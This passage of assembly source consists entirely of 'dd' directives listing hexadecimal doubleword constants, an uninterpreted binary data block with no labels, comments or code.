0F02558FEh, 0C800CE7Dh, 33DEB0B8h, 9AC7909Dh, 842A14F0h dd 0C6028551h, 8501370Dh, 0CFD2040h, 94C1A00Bh, 0EE81811Ah dd 90705996h, 0C5D70C23h, 0A4401B56h, 0E0A8C7FEh, 0B3500790h dd 9C16D384h, 0F0001A6Bh, 66CE7CE2h, 7EC902F8h, 557B3E85h dd 0A3193060h, 0C1DAFF00h, 4274900Ch, 851E009Ch, 15B1E1F2h dd 54007D61h, 8E5E9A0h, 0E73353Eh, 0D8CD4F8Bh, 2B7EE6C1h dd 0BBF1CCC3h, 75786100h, 4DCEC2DBh, 5C176D7h, 0FCB9A82Ah dd 8509188h, 0BA737018h, 2D0E1403h, 0E905BDADh, 702CD878h dd 44B5D600h, 0E836FB5Bh, 722D9007h, 92602411h, 1FA4BBh dd 0FA37F433h, 6DE17F41h, 0B80002F6h, 48E53C73h, 2884B01Fh dd 0CCD690h, 29DFC3ECh, 7C285A8Ch, 0BF2CF53Dh, 1B3C0254h dd 60B8AC22h, 5E66E540h, 0B307B0D2h, 20000CB8h, 874A2B86h dd 24EEFB28h, 0E4438A9h, 0DC00FE76h, 0C921553Eh, 72C65F00h dd 0A3CE3BF1h, 0E5360A3Dh, 9CC6F9Fh, 9F009A16h, 0DEE65CBDh dd 3C793E01h, 0DF4FD069h, 8A18E4h, 98904D25h, 3931F232h dd 0FD709500h, 9EBFA367h, 0E7C30044h, 0E9547FC2h, 1E0D15CDh dd 689246EFh, 0AD1227FDh, 0B00EF4A9h, 0C6DB0720h, 27015C83h dd 444BFF3Fh, 0C1D8EE68h, 0F230032h, 0BF0650C9h, 0E17883Eh dd 0A31EE5E4h, 5E2D3D45h, 17CE048Ch, 35657Eh, 1624F93Ch dd 367FEF1Bh, 0B7936800h, 0CAAA07C1h, 0B65A00D9h, 0BC52FF6Eh dd 3000F579h, 0AB43E6FCh, 7528198Bh, 856F09B5h, 9000C8D2h dd 0DC40FA6Ch, 0E4645000h, 0B8912062h, 0CC4B0306h, 1C3776FCh dd 85E01398h, 0B4E9CA00h, 4E63537Dh, 3562000Ch, 0B082379Fh dd 0CA007B3Bh, 4AF3B1A2h, 1901A88h, 80200866h, 0D8F0C9FDh dd 0A8B204B8h, 963BA100h, 29854962h, 14EB02FCh, 794C0EB5h dd 0F50B2AE0h, 4F28CD01h, 0DE467F6Dh, 0D724DCh, 6FAC5E55h dd 863CA306h, 0DB337626h, 0C8D31F04h, 582F7880h, 0D42A0063h dd 3C8EC90Ah, 0D6245999h, 5400C3h, 0E9BE2656h, 177E534Ah dd 0CC443726h, 0A003EB92h, 0DFBB3CF6h, 0C8CC5180h, 64CF0531h dd 23FEC4h, 0DC4C91CCh, 0D4E722CBh, 8C035F76h, 0A2E4F461h dd 2374001Bh, 17D2CF15h, 7A1E550Ah, 0A8AEE73Dh, 0FE382701h dd 0AC605331h, 626C00B8h, 847C8955h, 9C0106B2h, 4B36ACDCh dd 0F040B7D2h, 0FAD83ED9h, 68741CD3h, 0F0CA80DFh, 0C715EA47h dd 0A84A6100h, 2BF7A45Ch, 0CCB4025Dh, 0A0F972CBh, 636A88E0h dd 0D20EDF00h, 52B333C0h, 39C9471h, 7232E1ACh, 0E24C8A90h dd 0DD188600h, 6D9E1785h, 3A640002h, 2DEAA6F8h, 9B013E37h dd 0EEAF4331h, 73FCD8D2h, 0FF6B0068h, 0FE9CF9C3h, 31005A58h dd 74CC2581h, 7529926Ah, 0B1E600EEh, 0CBE277Fh, 7D1C7AD9h dd 530296B3h, 0C04A20F3h, 7FA930h, 241FB795h, 8A791D8h dd 71AD5500h, 0AA18D2FBh, 2C070394h, 0BC16C047h, 404B26F8h dd 0BD78C93Bh, 29348089h, 0D9B86DFh, 37E20022h, 97C97FAFh dd 0FDFCEA92h, 0CBA10100h, 19BD605Dh, 86382498h, 0D5B60724h dd 87B1939Ah, 5931101Dh, 0B918BDC0h, 0E88D88EAh, 0CB5E00F2h dd 484EDE24h, 723ED6F4h, 0A000FFEFh, 62DA273Fh, 6BB75Fh dd 7BD2905h, 0F4FE32F7h, 0C1A07628h, 75C4A40Fh, 307987EFh dd 85F9C0DEh, 0F6769A2h, 0D94A91F3h, 7EA8A6E0h, 0A1F6861h dd 7013E5CEh, 201E384Bh, 20A66DDCh, 0D21C0E36h, 7773AECh dd 0D0725B92h, 0CF068744h, 8E2DEB00h, 434A7B26h, 0F7351C9Dh dd 17D580D6h, 0B1765378h, 16B44800h, 3CCADEDCh, 716CB029h dd 0C87B0539h, 68E84Ah, 763AE308h, 0A94E93EAh, 7E239003h dd 32A1B85Fh, 0B9AB3A96h, 9FE39A1Fh, 0FF3D39ECh, 0F07B5380h dd 7AD3BB3Fh, 0C6CA700Ch, 1FA9182Ah, 269FAA06h, 0F7D17A1h dd 9A809714h, 0AB87EB03h, 0F3EE5D1Eh, 4490ED80h, 5313954h dd 32A9D37Eh, 9488415Eh, 508AABC8h, 1DE7A154h, 8A04373Eh dd 5894EBEFh, 7CC18F00h, 6E5122FFh, 1CA0415Ch, 0BC370EE4h dd 0B1141000h, 79CF4DC5h, 11A50740h, 3E84511Dh, 92AFE200h dd 0E3019C0Fh, 0C80C4254h, 970A2D9h, 5A5E0078h, 4B993BAAh dd 70C01184h, 0FCC0B46Fh, 72CE0016h, 0D558A74Fh, 0EA002DD0h dd 7EC72F92h, 762EB3F9h, 80D096D2h, 0CE894A90h, 2400C1FBh dd 0B4504191h, 4BE3431Ah, 99D80010h, 0EF0CE47Ah, 0AE4A0416h dd 2844E000h, 49862D2h, 6E35C3ACh, 64FC801Fh, 70060B4h dd 0B120E2C0h, 715E49h dd 92FAD905h, 747E38A5h, 310069F4h, 427F6114h, 17F9BA95h dd 401E9DDBh, 0EF553220h, 830006F8h, 0F25FFC5Dh, 909A0759h dd 0E00A00DCh, 3D56584Dh, 0EE001B8Bh, 7AB904ADh, 60476960h dd 0B27362F2h, 0DC00DB15h, 573BA49Ch, 0F581E2h, 0BA1F16C7h dd 196BC4F3h, 0D4BC750Bh, 2C8B40h, 9655DAC8h, 1F620E5Ch dd 0B80BBF1Ah, 7CF1A407h, 5500A781h, 78BC1C9Bh, 36A0917h dd 0E33520C1h, 7BD82E85h, 0E3B8AFF3h, 0F8309860h, 6328028Dh dd 8E5A1157h, 2CA65090h, 15B913Fh, 0D560BF83h, 0B868E39Fh dd 3D67C7Dh, 578B0B20h, 9098E7F0h, 9C7C33EFh, 8CB85800h dd 644B05D0h, 14E7C5Eh, 0C88081A6h, 0C5A8659Eh, 0E24424A2h dd 0FBDE5700h, 5A93F2DAh, 41560060h, 4CD0108Ch, 4F002982h dd 5E901957h, 0FFA1D5h, 0C3F1E118h, 8A873E26h, 33B8C800h dd 78F6E89Ah, 0D09832h, 72916630h, 0DD54073h, 0FC011290h dd 1FEAC783h, 0B3204C16h, 0EEBD3DAEh, 3A70E07h, 937B80D5h dd 0E703D842h, 91FF57C9h, 6709B126h, 4C20FC31h, 12810046h dd 8CA6F52Fh, 3D009737h, 104D40DFh, 2CE461FDh, 93F4C22Ah dd 85F8403Bh, 2508BFC9h, 6E31911Dh, 3EFDAF00h, 1FAA6035h dd 87FCE1B2h, 0A0C64DD3h, 0D55B81E7h, 0BB1F0F17h, 3A91ED00h dd 19CF7Bh, 0A2FF0216h, 6FD51522h, 1D004FFCh, 0A85E1027h dd 1DA79EDDh, 1F1C154h, 6C5DCE53h, 0B4E464FDh, 5804B54Ah dd 8B206B55h, 0F639DA4Ah, 286E0045h, 0B6CD634h, 191B028Eh dd 31C9111h, 1E7F1C40h, 41016EFDh, 0A5DAB790h, 14E0488Eh dd 2AC4EEC0h, 3E7DF8D6h, 0A405824Ah, 0BC403A62h, 4B211CCFh dd 0EB78001Eh, 99AF19ADh, 6812390Ch, 0AC003CD4h, 69B58F7Bh dd 0DF2501D5h, 110296Ch, 302C1Dh, 8821A83Eh, 0E14443h dd 0F8DF57C2h, 5992F1BDh, 0C9727901h, 71F52D28h, 0FF6960h dd 0E75024A7h, 0DA20484Dh, 0AE908A00h, 0D1473A85h, 0BE4E0029h dd 11BAB915h, 6A00C9C6h, 9518C061h, 3C35CF3Bh, 0A70EB74Bh dd 0D4201222h, 8A602588h, 178C401Eh, 0A61C803Ah, 437F0B65h dd 0E2AA0F85h, 488B9794h, 3903D500h, 9D123396h, 784FD02Bh dd 0AEED6374h, 78E4B492h, 0B95F0390h, 530B54C0h, 0F9A92BE8h dd 399BCC18h, 983AF0h, 0E4CDEC26h, 733E0ABCh, 92C17703h dd 889B7F80h, 119832h, 0AD7860FDh, 350F28D3h, 0B6E18D00h dd 4AA992A1h, 284F7339h, 84E622h, 0FFD48344h, 0FE6BD294h dd 0E520C500h, 812D5539h, 0B83461B9h, 15ECABh, 56084DFh dd 2BE3A4B6h, 0A5D8053Bh, 0B05DC5A6h, 0EC043EACh, 1C9FC7E0h dd 3C0194D0h, 180D7209h, 298BE44Eh, 880C7296h, 4921EDA6h dd 4C6F0F36h, 0CB40E9ADh, 779D7AB7h, 0BB00B5F6h, 0E2EF7CC2h dd 976056h, 34CFB310h, 0DAE7D46Fh, 2FB45248h, 0E24400CBh dd 45C1CE8h, 0F4918496h, 7CB27Bh, 3C6C2BF6h, 0F77F881h dd 4719D0DBh, 43DA0156h, 0DC945978h, 7500416Eh, 32888910h dd 30258Ah, 0C437127Bh, 0FD907020h, 0BF8D0703h, 0F87D14A6h dd 70779AB3h, 39C70418h, 80E65972h, 6CA13473h, 0ABC96000h dd 2F151B41h, 6A26481Ah, 5F5E0900h, 67A08B4Ah, 7FB42A00h dd 4481F6C5h, 0C477006Ah, 0B704E72Dh, 0C700C27Ch, 0CEB03018h dd 0B8105BADh, 7D908Ah, 11CD092h, 646D4135h, 0AFA62714h dd 7C8C09E4h, 991CCB0Eh, 0C07D4288h, 241E8300h, 94DEA7B1h dd 29E92D03h, 805EC040h, 0BCA9F0h, 0FD371C7Ah, 0AF1FC9BEh dd 6C39CF00h, 0C8581332h, 1E0EE67Bh, 40776785h, 31AE5DDh dd 0FB073DAEh, 1BF92F75h, 0E77A8FC0h, 0E8D31E7Dh, 7723C021h dd 32CDAEB1h, 0D990E000h, 0DC6553D5h, 0E92B091Fh, 90209FB5h dd 0F20B8883h, 771ED801h, 293A2CB2h, 59ECEC72h, 5C68FE20h dd 3A053911h, 0CC69EA7Ch, 5E7704E4h, 0B031D120h, 66D23FB0h dd 7C7884C8h, 260200C1h, 37969EE6h, 38072E2Ah, 6A03C53Fh dd 1780CDB4h, 148F51h, 2DBD782Fh, 0FD86212Ah, 0A0FCA82Ch dd 0C834F101h, 0D0D35C90h, 3AAB8EEBh, 0A4DCE36Bh, 0F2C9AF00h dd 289FA5A0h, 70D2210Eh, 69F601BAh, 0EC711CFEh, 5C215C1Ch dd 0DF80E45Ch, 0E5E9C81Eh, 0E6055474h, 562173F3h, 95DB1000h dd 7649DA9h, 0AA7EF034h, 8814811Dh, 7603F080h, 22910600h dd 0A3137079h, 4C35097Bh, 4469E33h, 901B9400h, 0B13E4502h dd 5EE400F9h, 0FA82A210h, 0AB1D1968h, 168184E5h, 0BEAEA08Ch dd 9A9B807Bh, 0E600D7F7h, 0DD937F8Dh, 4C77A9h, 6BE31302h dd 4021D9C7h, 0C40CFC00h, 298607B1h, 0CF090774h, 0F0AD260Eh dd 25AF46EEh, 0C45BD503h, 0F006B98Eh, 0D0A2EBh, 711EE2C3h dd 87336609h, 4573FF01h, 5E78F5C0h, 5AC0BE47h, 0A0139E4Bh dd 0E0339Ch, 7AD92184h, 8B4CB3F8h, 8002A93Dh, 6C931826h dd 3BE7BAAAh, 4D80A6F2h, 0DCF7B064h, 9A00CDF6h, 3F587C25h dd 0E80D8Dh, 54908FE6h, 0D5B31B99h, 66283E00h, 963F959Dh dd 0B8421F51h, 1ED040FFh, 6F68CFC4h, 6C002F4Bh, 0D4EF065Ch dd 499900FBh, 70CC1319h, 0BE2E607Ah, 29006C24h, 8F892BAEh dd 5A381671h, 64B50920h, 0B674CB00h, 48002683h, 7CB8B59h dd 0C438A5h, 5DC606D2h, 4ED625F6h, 70C84800h, 0DF8C3BF7h dd 0EC09A5Ch, 7BACECE0h, 0EF56D23h, 0CE508095h, 37007E8Fh dd 314D153h, 0B32C4Eh, 70571247h, 0F451620Ah, 0CDAF9200h dd 2CC4B805h, 997713D0h, 24F400A4h, 6DE3B625h, 4865AE13h dd 6C05E900h, 0EA3FF41Fh, 9C2C0E5Ah, 3562237Ah, 0EBE0EEF6h dd 1325D560h, 0C03400F9h, 187ED3Bh, 270BCB51h, 3DB775CFh dd 6FE71248h, 60B8F884h, 0DBC26E0Bh, 5D903480h, 0F001DD16h dd 0BF460AA6h, 0E340596Dh, 0E270FFD9h, 31410161h, 0A864080Bh dd 394829E9h, 1D03479Dh, 0EB01BA25h, 14BFCBF0h, 0DC0FBC0Bh dd 78CE00E9h, 4D3EE7Bh, 0D42AC309h, 0CAA8C09Fh, 100467Ah dd 51E1B717h, 15F4E48h, 0E92E2DC5h, 0FCC2247Bh, 601DA529h dd 8B80D3A7h, 14B35D5Ah, 7B60E9B1h, 890C0F26h, 5A2442Ah dd 1EC0CB0Dh, 46E0F327h, 4E5E8E00h, 1F722658h, 0AA98A8CFh dd 0A3910567h, 803F070Dh, 23A94F94h, 0F71D6D00h, 3C2F19Fh dd 79540032h, 4A942DA3h, 0EB1FC61Bh, 53806BB7h, 9735AC74h dd 0B66EC04h, 0C6C3211h, 3D949C08h, 315FC90h, 0CA846F8Bh dd 0C48804D5h, 0A26DF693h, 0ABD1378h, 5856111Ch, 9761FC40h dd 0FA69D90h, 0E4D904ABh, 7A5777A0h, 0C100CA9Ah, 12B1201Ch dd 0CD2EBCh, 0AF6A70BAh, 824A0AF0h, 91936703h, 0CD723484h dd 998530D1h, 2BC1EC6Dh, 28C6A470h, 42900740h, 77B61161h dd 0E13D00C0h, 71B60E1Ch, 0D49456D4h, 0B746A07h, 2E18CAA0h dd 0E8B10341h, 4B54ECAFh, 0A1D06C88h, 0DD37F200h, 96CDC6E2h dd 0EE9A003Fh, 78A706ADh, 0D3F0FBF9h, 0D8D97F12h, 265790B0h dd 1E2BFCD6h, 0B00340EDh, 0BA78044h, 882BA600h, 4FF2F587h dd 71861ED5h, 1F160154h, 0F15B0BA4h, 0A2E460D4h, 0CC1F237Fh dd 5E805658h, 2FECA087h, 0C1CB0B9Bh, 0C020CA0Ah, 0E9742A3Ah dd 0F5480600h, 24464B35h, 983F0031h, 9D96551Fh, 6E00B782h dd 88E26BA8h, 0E75C25h, 0E88D9238h, 5E18B8FDh, 78F9DF30h dd 9BA571h, 16B51025h, 0F6E17E92h, 6D522800h, 8E23180h dd 83C92AE5h, 0B45C5CA0h, 1E8EC4h, 95DF40D9h, 71E10028h dd 0E0306B2Ah, 4B39B234h, 0CD048136h, 4A431072h, 2CC7AC40h dd 0ABE80030h, 1C258B76h dd 0A100AD27h, 542E37F6h, 0C6545h, 57DF08BAh, 4A1DE25Ch dd 0AC00C0B8h, 949D588h, 2CE53685h, 8074A501h, 0BCADC1F4h dd 6228E75Dh, 0DD0ECC2Eh, 9523136Ch, 270078D4h, 467E8317h dd 0C074A5ABh, 5DF26B19h, 6300B167h, 1D43D8FEh, 1CB9A03Dh dd 0C016106Dh, 653C6FD5h, 0BE0254EEh, 33EE708h, 0A5D180D6h dd 5F04D795h, 1C0007BFh, 990B86AFh, 0E1DDE900h, 806846F2h dd 40E700C1h, 0EC49F457h, 0D200AA33h, 7DAFB005h, 61F2D0h dd 1245352Dh, 42832EA5h, 0BE00ABECh, 2361B7Bh, 0B11FB8BFh dd 421C8528h, 0E4E40087h, 78FFCE1Dh, 89EE5F3Ah, 5556DE5h dd 50F16510h, 10F02980h, 0F5E2D672h, 2EAFBA00h, 1A0F05E8h dd 0CBEF253Bh, 80CFFC63h, 73CE3F26h, 6594170Eh, 6F9C874Eh dd 2E3920DFh, 98DC8F16h, 54E60BFDh, 69004A91h, 69F397B0h dd 70001972h, 60EBF9D6h, 3480BAh, 0D21F26EDh, 0AC2461CEh dd 39F6F7E2h, 743A2F0Eh, 1C3E60ADh, 2B1C5A1h, 0E2995636h dd 38463031h, 83021B79h, 60D3503Ch, 259B80E4h, 78C3E74h dd 0AD695A0Ch, 0C6620091h, 0FFEC72C3h, 2AB028ECh, 778CFB03h dd 0D81AC1A3h, 824467h, 566FF710h, 0E20184FAh, 0D5CD7B00h dd 0FFDD0C99h, 25A5F0D4h, 315C3882h, 0CF969A00h, 0BA95460h dd 61D48B90h, 5B9D1810h, 0E5E5F42Ch, 2946760Ch, 17A7BBCh dd 0C79F81F2h, 0F92FDEA8h, 0DACF7073h, 81226F3Fh, 0F945206h dd 5034D195h, 0B64F2650h, 0E82704B0h, 0B4AC87h, 0B55B2A28h dd 0A8FE8EBAh, 7B79BB80h, 0F0009FF5h, 6AC504B1h, 87A11E3Fh dd 824870FCh, 9EF7D660h, 67D32D4Ah, 91A4D000h, 27005452h dd 0C9AD7E21h, 9D4CE931h, 0C13900A0h, 5736C87Ch, 3D28111Ch dd 5D804FE2h, 52960F8Ah, 1501A853h, 8587D381h, 0CC5C366h dd 0A497C0C7h, 2FCA0E29h, 21205256h, 2D2A0307h, 0EECA70F7h dd 24E5E101h, 541C96C8h, 7A8AF9BBh, 2D4068D1h, 1B406834h dd 753A14E0h, 0D500205Eh, 56DF1165h, 533CE9C8h, 370E806Ch dd 38BFAAD0h, 4AE403CDh, 88015C14h, 33986698h, 0FA8D0201h dd 65555D05h, 954AFCh, 0B9ACB515h, 0C76ECED6h, 0CA7C2Fh dd 8F903AB4h, 57241DC5h, 9BA9C38Bh, 7DC87FDEh, 6600E783h dd 317C1496h, 0E4E11ABh, 0FC5E86B7h, 0C3FF9320h, 14007184h dd 4DB11A18h, 6E81DA8h, 0DD7FA068h, 0A900C829h, 114A6E53h dd 0E401BDh, 758D0FD3h, 84219135h, 0C5EDF307h, 77A03710h dd 0E2C6AEh, 765C3FFCh, 0DDCE57A4h, 7EEE3400h, 7E8D02Bh dd 1DF47B4Bh, 0AF30474Dh, 933BF098h, 71049074h, 57E7F196h dd 60CE75C0h, 289C003Dh, 12B8B46Bh, 5228230Ch, 0B226BD7Fh dd 900074F7h, 7DEAE370h, 0B661340h, 7841F1Ch, 0D99E8A21h dd 3FF07C70h, 0D9809B02h, 0E0057AD6h, 78147620h, 2A7B0060h dd 9FE9C9B9h, 0EC00C269h, 9A513222h, 5C7F5721h, 0EF029911h dd 0B0F23461h, 0B13E8C0h, 0CB6CB700h, 0D8823BA0h, 0CFDC0092h dd 682633F2h, 3160971Ah, 5CDAB169h, 43C20092h, 34D19EFAh dd 0A51C418Eh, 39035399h, 0D0C59442h, 3BEC5DEBh, 843B57C7h dd 9EE7D601h, 0C0D01A48h, 9A00A514h, 89A9958Fh, 75E66Eh dd 49F0E9A0h, 330C7BF4h, 0B970457Eh, 5A01CA79h, 593FBB61h dd 5931FB85h, 0F90BD4h, 8FFFB778h, 20F5E01Fh, 5645C00h dd 0DB6B721Ch, 36D330D7h, 9D1F5D68h, 33061775h, 375E8250h dd 0DAE20018h, 7B881C90h, 1E00AF35h, 827C7EB9h, 37899C9Bh dd 4198E7E9h, 0FCABD2FDh, 1F1C93F6h, 0D4403612h, 0EB4E53B3h dd 6790CEh, 0B6F161E0h, 0C075DC32h, 0D23F3A0Eh, 2F89825Bh dd 0BF60771Eh, 0AE762974h, 0E0DD4400h, 704FD83Dh, 1D930096h dd 0AB81251Ah, 9B010B75h, 3BBCFB8Fh, 0F2D02BB5h, 0D5D309D6h dd 0C000AE7h, 3316122Ch, 4465C800h, 2917CF61h, 0D1F0036Fh dd 74B71107h, 4C46722Ch, 0E0FFF90Fh, 193BFD35h, 502B00A8h dd 51178241h, 870025B4h, 3930A31Ah, 3BD8CFAh, 63A1E966h dd 0A2E80D5Ch, 777B4908h, 6A57F00Eh, 0D0222AF9h, 3D6BA587h dd 0AE84FCD4h, 553AF305h, 216F80FBh, 5B00CF36h, 4C58A4BFh dd 0E8D32F1Ch, 5040002Ah, 0E5DFCADDh, 0B50FBBECh, 86884EC8h dd 58F3DAh, 857B68D2h, 0ADE05E9h, 356388A0h, 523DA30Fh dd 0D51D0469h, 0F44DA501h, 8660CCE2h, 7C2DD200h, 150174DEh dd 0D8A41Ah, 0C8C0DFEFh, 6E8897Bh, 883ED200h, 0F997E31h dd 7436035Ah, 667BD5CFh, 0BA7930C9h, 0C0FC55E8h, 3E285DC8h dd 0E300A557h, 27809AF3h, 96F04h, 61307EEBh, 89AD2F96h dd 4B1E7700h, 0E752E5E8h, 0F4701980h, 0E4F36023h, 5000647Dh dd 0E4BECB4h, 7D5BC8Fh, 0C65AD071h, 581E50CFh, 0AB000160h dd 0C9482723h, 717EF4CCh, 8A5B004Eh, 14BE289h, 0BA002325h dd 0A7395869h, 1DC9B736h, 0B93CBB46h, 8091561Dh, 4C0166B8h dd 7003F649h, 219705ECh, 0F8FDFB63h, 0C30B10h, 5C523C31h dd 3DA745D4h, 29D5C40Eh, 41DF6364h, 80BABA5Eh, 0D9DECFC8h dd 86B5001Dh, 8FAC52F7h, 0A803143Ch, 5FC37BAAh, 0EE7FB828h dd 1A123AF9h, 4522FC84h, 375C90BBh, 4D00B5FFh, 4161E67h dd 1387A95h, 0F2D8E2EEh, 0E4122089h, 670430FCh, 6921671h dd 0A2BC39C0h, 6DE40EB6h, 0C84002FDh, 0FEE77CCCh, 64000590h dd 0AC690D63h, 0C02218BDh, 65BFB988h, 67015BFFh, 9EDEB408h dd 0F1D85298h, 39A7756h, 0A32F66B2h, 0BFF8F771h, 0F4A0D139h dd 0A13840BCh, 6C270C5Fh, 0E6B8D2h, 99439D96h, 0DDD82F26h dd 0E2F87F00h, 15CD4DBAh, 28F360ABh, 0BE0B0633h, 0A9A5D313h dd 67E1B400h, 29D8F2h, 0E4F3922Ah, 0C206DB6Fh, 2BC35501h dd 51901B96h, 46C420h, 0D11F1823h, 56B452B1h, 777B9800h dd 6F358715h, 0DC6D0084h, 4939F9EDh, 4E3E2F3Bh, 0CEFB804Bh dd 893363C4h, 2B650051h, 0CCC3596Fh, 250BA3FEh, 804B3CB3h dd 0B8A55D77h, 0B5080002h, 65E35C3Bh, 2E007AE6h, 6836FF90h dd 3094891Ch, 0FB11C237h, 6A006CF1h, 666EF855h, 7D8DFDBFh dd 4C5618C6h, 0F274C078h, 5DAC2407h, 40CE4D0Bh, 0C1A2A564h dd 4ACD0036h, 0B946E34Ch, 870580BEh, 4E34E511h, 0C0D0AB82h dd 79B63Ah, 48E35608h, 8B017EEDh, 1E1FA501h, 1C2BD342h dd 2DA7C8h, 0AAC16F75h, 858F5382h, 5573F300h, 0E8E62EF5h dd 0A44100D8h, 999AD048h, 7D008FB5h, 0E0EED593h, 3D8C4CE5h dd 58002A19h, 0B61DDED4h, 6900A1DAh, 2DBE9593h, 183922Ch dd 38A07105h, 0E461D35Ch, 31002E21h, 91B41A2h, 58BACE4Eh dd 7464F1h, 2546EFADh, 0F0106E1Fh, 0C9F7404h, 9EC06D13h dd 229D9Eh, 0CF2729A8h, 9FD73F4Dh, 0B6314800h, 4EABE849h dd 0AA700169h, 8F153A78h, 0F800DB88h, 9EFF2A18h, 0F09CF7E4h dd 6E460085h, 0E18C94F8h, 13905659h, 485439h, 0E8D8D449h dd 0E47D8B9Ch, 86C7003Ch, 955E0DE7h, 2500E089h, 9D04CB3Eh dd 0D65BA8h, 627E17FBh, 0C55A2F9Ch, 900ED98h, 451DC7C0h dd 33D1D0h, 0D361EB32h, 6F7DAFA7h, 0A126A307h, 4BB0BEA2h dd 0A6F515h, 45928685h, 1944CA05h, 0BE8C8300h, 6F2C3862h dd 54D900EFh, 87FB4711h, 5B1E443Dh, 0D680B6A1h, 0E9358C4Ah dd 0B0CA0216h, 0CF8D7786h, 0B7398380h, 0EF4C4230h, 8EE31C3Eh dd 22878900h, 2D2FA2h, 0D2C04BABh, 7779F05Fh, 1999F200h dd 0BB369517h, 0D96400B9h, 87FA5C5Ah, 672F67Eh, 0A016ED24h dd 7BFE6800h, 73AE5BCh dd 391DBEB3h, 96CA41AAh, 9006DB3Bh, 19C2B687h, 3A9DF030h dd 9E9D59A0h, 0E1410670h, 9F3E18BEh, 0CF3B0088h, 44DD9B94h dd 0DC3018FDh, 0D62B08ECh, 396639h, 8A7BA3FFh, 270755h dd 0FA5B313Ah, 89BEE87Eh, 98496005h, 0C780ADB8h, 726B948Ch dd 47EF00EEh, 75ED59D0h, 0E1007B05h, 3F3DCA97h, 603B8A7Fh dd 689338D4h, 346678D9h, 49B0C8h, 0E04316Eh, 4E62E854h dd 0FD82100h, 91A9B7AAh, 25C5008Fh, 343A19EAh, 45004AC9h dd 0CDE428FAh, 3E61BD4h, 0AD487CEDh, 0BA06AE8h, 4100604Ch dd 45078C68h, 982909F5h, 97F000AAh, 0EF186101h, 673F9112h dd 0A01C8339h, 91411DB4h, 95FC3122h, 8C2D0214h, 9649C16Bh dd 0A63A1D40h, 2BDE0300h, 140F7366h, 238800CDh, 0B319D748h dd 2400B41Ch, 3A25A1Fh, 20536A6h, 6BE99F7Ah, 0D4A1386Ch dd 40D83255h, 7B3945E4h, 82DB633h, 7A21004Fh, 967FD83Ah dd 290E9AC7h, 2F0EF5C3h, 6E3B87C2h, 0AD1543F0h, 10E8491Dh dd 39730900h, 98897E93h, 9859E0A1h, 2F21F308h, 0EDF66Bh dd 0AA07562h, 0B6859B91h, 3F7EEF44h, 0DE810BCAh, 0EABA3C1Ah dd 6D68831Eh, 2335847Ch, 843FB670h, 617E8E39h, 2627F262h dd 7ADC609Fh, 188F6EDh, 4793B0A2h, 0D0EB9E7Fh, 9FB0FE08h dd 89169200h, 0FBDDEA1Eh, 0F9FF7173h, 0A187B024h, 34186D9Ch dd 0BEB5D81Dh, 491163h, 0FCD83C7Ch, 30CAD42Bh, 0E1D06773h dd 0FD303835h, 90A75978h, 0F7001A8h, 6190D91h, 6D089879h dd 88B821h, 5E8176A8h, 403BAAD4h, 183F24A1h, 3A84893h dd 1124A929h, 8BBD056Ch, 0AE804EA8h, 36EBA0BBh, 0D8E0EC37h dd 0CBEA150Ch, 70C010F7h, 184B00A9h, 590AD081h, 0C70E0313h dd 0C0FEE997h, 52AAD286h, 8DD400FCh, 0C424DA21h, 9400F15Eh dd 2AA08AB2h, 32184Ch, 0C36BDDBCh, 53F87049h, 6FFCDC00h dd 89B052E6h, 2C5007Ch, 976E0D1Ch, 0ED50A48Ch, 7D003C96h dd 0F83E28BAh, 2A179Fh, 99D09E74h, 18254727h, 0B7E4C400h dd 2616B3E5h, 89600773h, 7045EE7h, 6139B09Ah, 0D62633EBh dd 7B00BE02h, 9301CFA1h, 98900BBh, 516B99FBh, 0FD5FD94Dh dd 1603DEACh, 39D0722Dh, 123430B8h, 366B1F00h, 0A5B125DAh dd 764100D4h, 0A61903AEh, 8100B610h, 9E173813h, 3B3BCDDh dd 43DC9F5Eh, 499026E9h, 53007C4Ch, 0EC040789h, 1C64DAEEh dd 5CD983h, 86023A25h, 0B400DD7Dh, 542C1BE7h, 3FE53294h dd 568773BAh, 0F02FF6C1h, 55300334h, 4D84A00h, 3C7FD56Fh dd 86491FE2h, 0D9E1C0CFh, 2A85D68Dh, 0A79060FCh, 3C2606F8h dd 0DC008EF1h, 4F5C6829h, 1E8E05BAh, 0C0FC43h, 51FE7AD8h dd 0C9009DC6h, 0E6CE799Ch, 0B816DE5Ah, 7BAE0137h, 0A1F99F1Eh dd 0AFC88641h, 0E676C8h, 5412DE0Ch, 6E7C6299h, 0C26C8A01h dd 0CA52F9EEh, 823DE0h, 641FD898h, 8B812F87h, 0D6433118h dd 1D6C6578h, 87E94ECAh, 0B01DEE06h, 88C921EBh, 98A06000h dd 3C96AFC1h, 9F9D0038h, 1A234527h, 0D500AE7Bh, 0E0120D82h dd 3976F92Ah, 18893C04h, 9703DC5Bh, 59907DBBh, 58061FFEh dd 0BEF110B3h, 7F7D58h, 0B141355Bh, 52AC69D7h, 0B7001CB8h dd 7BB9B408h, 90D46C6h, 0AB8F560Bh, 88041F80h, 0BF009607h dd 25646AA1h, 3E1B339h, 0F4864CCAh, 72D88991h, 0D4005BA2h dd 28E04511h, 8EDE9Bh, 54E8A7F5h, 0F40A4D12h, 9E591900h dd 17F7B079h, 34720A35h, 39F8DA52h, 8E80B5BBh, 2DE64EC9h dd 0E90F244Ch, 6096C52Fh, 6CC65D9Ch, 0BDD00A9h, 2AA3209Fh dd 0FF002844h, 0BF657215h, 27FB5Eh, 0C01C1943h, 0F4B751E9h dd 2AE62500h, 0CA4D066Ch, 0A67B0Ch, 0C69E856Dh, 47FBFF7Bh dd 621B5500h, 80BB7E89h, 1CDA00CAh, 0A8262F3Ch, 0A90070D0h dd 9283D06h, 99B485h, 69E36F98h, 6414E2ADh, 48EDDB26h dd 0FB651F00h, 29F3C550h, 8C3C2Bh, 574212D5h, 0A4011AADh dd 0D3FDCFF8h, 0C09FB71Dh, 2A44A20Eh, 5D3900A7h, 9DDC360Fh dd 49000C30h, 7315CCC0h, 1E4A8093h, 4548F3D4h, 81F1D3C4h dd 0F4BD9918h, 26FA60DCh, 571F000h, 1F3F7D37h, 8C900Bh dd 0E8B06FBBh, 0D98B6158h, 15016890h, 0D2959BF9h, 0E6E81A02h dd 0BB6903D1h, 0C82EBF0Ch, 0F221A011h, 44003D58h, 0E9C11920h dd 0DF1F4583h, 0A4FC60FBh, 0F50A6597h, 338EC13h, 538E472Ch dd 0B7E7D07Ch, 0E63B0363h, 8113DB92h, 11C05BF3h, 0AA04E174h dd 645D8CECh, 93E8D180h, 5A4E028Ah, 18AE6A33h, 21A43E0h dd 3BB57000h, 9D340163h, 